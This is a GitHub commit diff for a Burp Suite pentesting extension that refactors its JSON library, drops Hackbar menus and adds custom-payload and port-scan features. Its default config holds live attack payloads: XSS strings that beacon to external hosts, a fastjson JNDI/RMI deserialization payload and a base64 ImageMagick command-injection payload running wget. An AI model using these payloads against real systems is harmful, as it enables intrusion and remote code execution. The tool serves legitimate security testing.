Skip to content

Commit 119592c

Browse files
bit4woobit4woo
authored
Merge pull request #18 from bit4woo/dev
ready to release v1.7
2 parents db28605 + 77942c7 commit 119592c

31 files changed

+327
-3107
lines changed

‎README-zh.md‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -54,13 +54,13 @@
5454

5555
![openwithbrowser](img/openwithbrowser.gif)
5656

57-
5. hackbar++
57+
5. Custom Payload
5858

59-
该菜单集成了 [Hackbar](https://github.com/d3vilbug/HackBar) ，可以在当前请求中插入payload进行手动测试。
60-
61-
该菜单最主要的改进是：可以配置自己常用的payload，配置后可以在hackbar++的custom payload中看到。
62-
63-
另外，payload的值中可以包含2个变量：分别是%host和%DNSlogServer，会在使用payload时使用对应的值替换。
59+
可以在配置中自定义个人的常用payload。
60+
61+
Config_Custom_Payload：字符串格式的payload，payload的值中可以包含2个变量：分别是%host和%DNSlogServer，会在使用payload时使用对应的值替换。
62+
63+
Config_Custom_Payload_Base64：base64格式的payload，当payload包含换行等特殊字符，或者是二进制文件等格式，可以先将内容转换成base64格式然后设置。
6464

6565
![insertpayload](img/insertpayload.gif)
6666

‎README.md‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,15 +24,15 @@ A extension that add some small function[ one key to update cookie, one key add
2424

2525
3. update header
2626

27-
update Header that likes token,authorization .
27+
update Header that likes token,authorization .
2828

2929
4. open with browser
3030

31-
open URL of current request or selected URL with browser you configured.
31+
open URL of current request or selected URL with browser you configured.
3232

33-
5. hackbar++
33+
5. Custom Payload
3434

35-
insert payload of [Hackbar](https://github.com/d3vilbug/HackBar) or self-configured to current request
35+
you can config your own payloads with string or base64 formate.
3636

3737
6. Set Cookie
3838
scenes: when you visit a website with IP address, It may not contains cookie, but you know it should contains same cookie with some site. you can use this function in Proxy. It will edit response to set the same cookie to let whole web site use the specified cookie.

‎pom.xml‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
</properties>
77
<modelVersion>4.0.0</modelVersion>
88
<groupId>com.bit4woo.burp</groupId>
9-
<version>1.6</version>
9+
<version>1.7</version>
1010

1111
<repositories>
1212
<repository>
@@ -67,7 +67,7 @@
6767
<artifactId>burp-extender-api</artifactId>
6868
<version>1.7.22</version>
6969
</dependency>
70-
70+
7171
<!-- https://github.com/bit4woo/burp-api-common -->
7272
<dependency>
7373
<groupId>com.github.bit4woo</groupId>
@@ -80,11 +80,11 @@
8080
</dependency> -->
8181

8282

83-
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
83+
<!-- https://mvnrepository.com/artifact/com.google.code.gson/gson -->
8484
<dependency>
85-
<groupId>com.alibaba</groupId>
86-
<artifactId>fastjson</artifactId>
87-
<version>1.2.62</version>
85+
<groupId>com.google.code.gson</groupId>
86+
<artifactId>gson</artifactId>
87+
<version>2.8.6</version>
8888
</dependency>
8989

9090
<!-- Files -->

‎src/burp/BurpExtender.java‎

Lines changed: 21 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -13,10 +13,9 @@
1313
import java.util.regex.Matcher;
1414
import java.util.regex.Pattern;
1515

16-
import javax.swing.JMenu;
1716
import javax.swing.JMenuItem;
1817

19-
import com.alibaba.fastjson.JSON;
18+
import com.google.gson.Gson;
2019

2120
import U2C.JSONBeautifier;
2221
import U2C.U2CTab;
@@ -25,25 +24,16 @@
2524
import config.ConfigTable;
2625
import config.ConfigTableModel;
2726
import config.GUI;
28-
import hackbar.File_Payload_Menu;
29-
import hackbar.LFI_Menu;
30-
import hackbar.Reverse_Shell_Menu;
31-
import hackbar.SQL_Error;
32-
import hackbar.SQL_Menu;
33-
import hackbar.SQli_LoginBypass;
34-
import hackbar.SSTI_Menu;
35-
import hackbar.WebShell_Menu;
36-
import hackbar.XSS_Menu;
37-
import hackbar.XXE_Menu;
3827
import knife.AddHostToScopeMenu;
3928
import knife.ChunkedEncodingMenu;
4029
import knife.CookieUtils;
30+
import knife.Custom_Payload_Menu;
4131
import knife.DismissMenu;
42-
import knife.DoActiveScanMenu;
32+
import knife.DoPortScanMenu;
4333
import knife.HeaderEntry;
4434
import knife.InsertXSSMenu;
4535
import knife.OpenWithBrowserMenu;
46-
import knife.RunSQLMap;
36+
import knife.RunSQLMapMenu;
4737
import knife.SetCookieMenu;
4838
import knife.SetCookieWithHistoryMenu;
4939
import knife.UpdateCookieMenu;
@@ -80,10 +70,10 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
8070

8171
String content = callbacks.loadExtensionSetting("knifeconfig");
8272
if (content!=null) {
83-
config = JSON.parseObject(content, Config.class);
73+
config = new Gson().fromJson(content, Config.class);
8474
showToUI(config);
8575
}else {
86-
showToUI(JSON.parseObject(initConfig(), Config.class));
76+
showToUI(new Gson().fromJson(initConfig(), Config.class));
8777
}
8878
table.setupTypeColumn();//call this function must after table data loaded !!!!
8979

@@ -132,22 +122,24 @@ public List<JMenuItem> createMenuItems(IContextMenuInvocation invocation) {
132122

133123
byte context = invocation.getInvocationContext();
134124

135-
String dismissed = this.tableModel.getConfigByKey("DismissedHost");
125+
String dismissed = this.tableModel.getConfigValueByKey("DismissedHost");
136126
if (dismissed != null) {
137127
menu_list.add(new DismissMenu(this));
138128
}
139129

140130
menu_list.add(new AddHostToScopeMenu(this));
141-
if (!callbacks.getBurpVersion().toString().startsWith("1.")) {
142-
menu_list.add(new DoActiveScanMenu(this));
143-
}
131+
// if (!callbacks.getBurpVersion().toString().startsWith("1.")) {
132+
// menu_list.add(new DoActiveScanMenu(this));
133+
// }
134+
//2.0后续版本添加了主动扫描选项，移除该菜单；2020.2版本之后
135+
menu_list.add(new DoPortScanMenu(this));
144136
menu_list.add(new OpenWithBrowserMenu(this));
145-
menu_list.add(new RunSQLMap(this));
137+
menu_list.add(new RunSQLMapMenu(this));
146138
menu_list.add(new ChunkedEncodingMenu(this));
147139

148140
if (context == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST) {
149141

150-
if (this.tableModel.getConfigByKey("XSS-Payload")!=null){
142+
if (this.tableModel.getConfigValueByKey("XSS-Payload")!=null){
151143
menu_list.add(new InsertXSSMenu(this));
152144
}
153145

@@ -169,24 +161,7 @@ public List<JMenuItem> createMenuItems(IContextMenuInvocation invocation) {
169161
menu_list.add(new SetCookieWithHistoryMenu(this));
170162
}
171163

172-
173-
JMenu Hack_Bar_Menu = new JMenu("^_^ Hack Bar++");
174-
Hack_Bar_Menu.add(new SQL_Menu(this));
175-
Hack_Bar_Menu.add(new SQL_Error(this));
176-
Hack_Bar_Menu.add(new SQli_LoginBypass(this));
177-
178-
Hack_Bar_Menu.add(new XSS_Menu(this));
179-
Hack_Bar_Menu.add(new XXE_Menu(this));
180-
Hack_Bar_Menu.add(new LFI_Menu(this));//learn from this
181-
Hack_Bar_Menu.add(new SSTI_Menu(this));
182-
183-
Hack_Bar_Menu.add(new WebShell_Menu(this));
184-
Hack_Bar_Menu.add(new Reverse_Shell_Menu(this));
185-
186-
Hack_Bar_Menu.add(new File_Payload_Menu(this));
187-
Hack_Bar_Menu.add(new Custom_Payload_Menu(this));
188-
189-
menu_list.add(Hack_Bar_Menu);
164+
menu_list.add(new Custom_Payload_Menu(this));
190165
return menu_list;
191166
}
192167

@@ -323,7 +298,7 @@ public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequ
323298
}
324299

325300
if (value.toLowerCase().contains("%dnslogserver")) {
326-
String dnslog = tableModel.getConfigByKey("DNSlogServer");
301+
String dnslog = tableModel.getConfigValueByKey("DNSlogServer");
327302
Pattern p = Pattern.compile("(?u)%dnslogserver");
328303
Matcher m = p.matcher(value);
329304

@@ -348,10 +323,10 @@ public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequ
348323

349324
try {
350325
boolean useComment = false;
351-
if (this.tableModel.getConfigByKey("Chunked-UseComment") != null) {
326+
if (this.tableModel.getConfigValueByKey("Chunked-UseComment") != null) {
352327
useComment = true;
353328
}
354-
String lenStr = this.tableModel.getConfigByKey("Chunked-Length");
329+
String lenStr = this.tableModel.getConfigValueByKey("Chunked-Length");
355330
int len = 10;
356331
if (lenStr != null) {
357332
len = Integer.parseInt(lenStr);
@@ -366,8 +341,8 @@ public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequ
366341

367342
///proxy function should be here
368343
//reference https://support.portswigger.net/customer/portal/questions/17350102-burp-upstream-proxy-settings-and-sethttpservice
369-
String proxy = this.tableModel.getConfigByKey("Proxy-ServerList");
370-
String mode = this.tableModel.getConfigByKey("Proxy-UseRandomMode");
344+
String proxy = this.tableModel.getConfigValueByKey("Proxy-ServerList");
345+
String mode = this.tableModel.getConfigValueByKey("Proxy-UseRandomMode");
371346

372347
if (proxy != null) {//if enable is false, will return null.
373348
List<String> proxyList = Arrays.asList(proxy.split(";"));//如果字符串是以;结尾，会被自动丢弃
@@ -431,7 +406,7 @@ public List<String> GetSetCookieHeaders(String cookies){
431406
}
432407

433408
public boolean isDismissedHost(String host){
434-
String dissmissed = tableModel.getConfigByKey("DismissedHost");
409+
String dissmissed = tableModel.getConfigValueByKey("DismissedHost");
435410
if (dissmissed == null) return false;//表示配置被禁用了
436411
String[] dissmissedHosts = dissmissed.split(",");
437412
Iterator<String> it = Arrays.asList(dissmissedHosts).iterator();

‎src/burp/Methods.java‎

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,7 @@
1-
/*
2-
* To change this license header, choose License Headers in Project Properties.
3-
* To change this template file, choose Tools | Templates
4-
* and open the template in the editor.
5-
*/
61
package burp;
72

83
import java.awt.event.ActionListener;
9-
import java.io.File;
10-
import java.io.FileInputStream;
11-
import java.io.IOException;
124
import java.io.UnsupportedEncodingException;
13-
import java.nio.file.Files;
145
import java.util.ArrayList;
156
import java.util.Arrays;
167
import java.util.List;
@@ -21,10 +12,6 @@
2112
import javax.swing.JOptionPane;
2213
import javax.swing.JSeparator;
2314

24-
/**
25-
*
26-
* @author abdul.wahab
27-
*/
2815
public class Methods {
2916

3017
public static JMenu add_MenuItem_and_listener(JMenu menu, String[] itemList, Object actionListener){

‎src/config/Config.java‎

Lines changed: 9 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,7 @@
44
import java.util.HashMap;
55
import java.util.List;
66

7-
import com.alibaba.fastjson.JSON;
8-
import com.alibaba.fastjson.JSONObject;
9-
import com.alibaba.fastjson.annotation.JSONField;
7+
import com.google.gson.Gson;
108

119
import burp.IBurpExtenderCallbacks;
1210
import knife.HeaderEntry;
@@ -17,8 +15,8 @@ public class Config {
1715
private List<String> stringConfigEntries = new ArrayList<String>();// get from configTableModel
1816
private int enableStatus = IBurpExtenderCallbacks.TOOL_PROXY;
1917
private boolean onlyForScope = true;
20-
private HashMap<String,HeaderEntry> setCookieMap = new HashMap<String,HeaderEntry>();
21-
private HeaderEntry usedCookie = null;
18+
private transient HashMap<String,HeaderEntry> setCookieMap = new HashMap<String,HeaderEntry>();
19+
private transient HeaderEntry usedCookie = null;
2220

2321
Config(){
2422
//to resolve "default constructor not found" error
@@ -60,29 +58,28 @@ public void setOnlyForScope(boolean onlyForScope) {
6058
this.onlyForScope = onlyForScope;
6159
}
6260

63-
@JSONField(serialize=false)//表明不序列号该字段
61+
6462
public HashMap<String, HeaderEntry> getSetCookieMap() {
6563
return setCookieMap;
6664
}
67-
@JSONField(serialize=false)//表明不序列号该字段
65+
6866
public void setSetCookieMap(HashMap<String, HeaderEntry> setCookieMap) {
6967
this.setCookieMap = setCookieMap;
7068
}
71-
@JSONField(serialize=false)//表明不序列号该字段
69+
7270
public HeaderEntry getUsedCookie() {
7371
return usedCookie;
7472
}
75-
@JSONField(serialize=false)//表明不序列号该字段
73+
7674
public void setUsedCookie(HeaderEntry usedCookie) {
7775
this.usedCookie = usedCookie;
7876
}
7977

80-
@JSONField(serialize=false)//表明不序列号该字段
8178
public String ToJson(){//注意函数名称，如果是get set开头，会被认为是Getter和Setter函数，会在序列化过程中被调用。
82-
return JSONObject.toJSONString(this);
79+
return new Gson().toJson(this);
8380
}
8481

8582
public Config FromJson(String json){//注意函数名称，如果是get set开头，会被认为是Getter和Setter函数，会在序列化过程中被调用。
86-
return JSON.parseObject(json, Config.class);
83+
return new Gson().fromJson(json, Config.class);
8784
}
8885
}

‎src/config/ConfigEntry.java‎

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
package config;
22

3-
import com.alibaba.fastjson.JSON;
4-
import com.alibaba.fastjson.JSONObject;
5-
import com.alibaba.fastjson.annotation.JSONField;
3+
import com.google.gson.Gson;
64

75
public class ConfigEntry {
86

@@ -16,7 +14,8 @@ public class ConfigEntry {
1614
public static final String Action_Append_To_header_value = "Action_Append_To_header_value";
1715
public static final String Action_Remove_From_Headers = "Action_Remove_From_Headers";
1816

19-
public static final String Config_Custom_Payload = "Config_Custom_Payload";;
17+
public static final String Config_Custom_Payload = "Config_Custom_Payload";
18+
public static final String Config_Custom_Payload_Base64 = "Config_Custom_Payload_Base64";
2019
public static final String Config_Basic_Variable = "Config_Basic_Variable";
2120
public static final String Config_Chunked_Variable = "Config_Chunked_Variable";
2221
public static final String Config_Proxy_Variable = "Config_Proxy_Variable";
@@ -81,11 +80,11 @@ public void setEditable(boolean editable) {
8180
}
8281

8382
public String ToJson(){//注意函数名称，如果是get set开头，会被认为是Getter和Setter函数，会在序列化过程中被调用。
84-
return JSONObject.toJSONString(this);
83+
return new Gson().toJson(this);
8584
}
8685

8786
public ConfigEntry FromJson(String json){//注意函数名称，如果是get set开头，会被认为是Getter和Setter函数，会在序列化过程中被调用。
88-
return JSON.parseObject(json, ConfigEntry.class);
87+
return new Gson().fromJson(json, ConfigEntry.class);
8988
}
9089

9190
}

‎src/config/ConfigTableModel.java‎

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,8 @@ public ConfigTableModel(){
3131
configEntries.add(new ConfigEntry("SQLMap-SQLMap.py-Path","",ConfigEntry.Config_Basic_Variable,false,false));
3232
configEntries.add(new ConfigEntry("SQLMap-Request-File-Path","D:\\sqlmap-request-files",ConfigEntry.Config_Basic_Variable,true,false));
3333
configEntries.add(new ConfigEntry("SQLMap-Options","--risk=3 --level=3",ConfigEntry.Config_Basic_Variable,true,false));
34+
35+
configEntries.add(new ConfigEntry("Nmap-File-Path","D:\\Program Files (x86)\\Nmap\\nmap.exe",ConfigEntry.Config_Basic_Variable,true,false));
3436

3537
configEntries.add(new ConfigEntry("Chunked-Length", "10",ConfigEntry.Config_Chunked_Variable,true,false));
3638
configEntries.add(new ConfigEntry("Chunked-AutoEnable", "",ConfigEntry.Config_Chunked_Variable,false,false));
@@ -48,8 +50,9 @@ public ConfigTableModel(){
4850
configEntries.add(new ConfigEntry("User-Agent", "'\\\"/><script src=https://bmw.xss.ht></script><img/src=bit.0y0.link/%host>",ConfigEntry.Action_Append_To_header_value,true));
4951
configEntries.add(new ConfigEntry("knife", "'\\\"/><script src=https://bmw.xss.ht></script><img/src=bit.0y0.link/%host>",ConfigEntry.Action_Add_Or_Replace_Header,true));
5052

51-
configEntries.add(new ConfigEntry("CRLF", "//%0d%0a/http://www.baidu.com",ConfigEntry.Config_Custom_Payload,true));
53+
configEntries.add(new ConfigEntry("fastjson", "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%host.fastjson.test.dnslog.com/evil\",\"autoCommit\":true}",ConfigEntry.Config_Custom_Payload,true));
5254

55+
configEntries.add(new ConfigEntry("Imagemagick","cHVzaCBncmFwaGljLWNvbnRleHQNCnZpZXdib3ggMCAwIDY0MCA0ODANCmltYWdlIG92ZXIgMCwwIDAsMCAnaHR0cHM6Ly9pbWFnZW1hZ2ljLmJpdC4weTAubGluay94LnBocD94PWB3Z2V0IC1PLSAlcyA+IC9kZXYvbnVsbGAnDQpwb3AgZ3JhcGhpYy1jb250ZXh0",ConfigEntry.Config_Custom_Payload_Base64,true));
5356

5457
}
5558

@@ -76,14 +79,23 @@ public List<ConfigEntry> getConfigByType(String type) {
7679
}
7780

7881

79-
public String getConfigByKey(String key) {
82+
public String getConfigValueByKey(String key) {
8083
for (ConfigEntry entry:configEntries) {
8184
if (entry.getKey().equals(key) && entry.isEnable()) {
8285
return entry.getValue();
8386
}
8487
}
8588
return null;
8689
}
90+
91+
public String getConfigTypeByKey(String key) {
92+
for (ConfigEntry entry:configEntries) {
93+
if (entry.getKey().equals(key) && entry.isEnable()) {
94+
return entry.getType();
95+
}
96+
}
97+
return null;
98+
}
8799

88100
public void setConfigByKey(String key,String value) {
89101
for (ConfigEntry entry:configEntries) {

0 commit comments

Comments
 (0)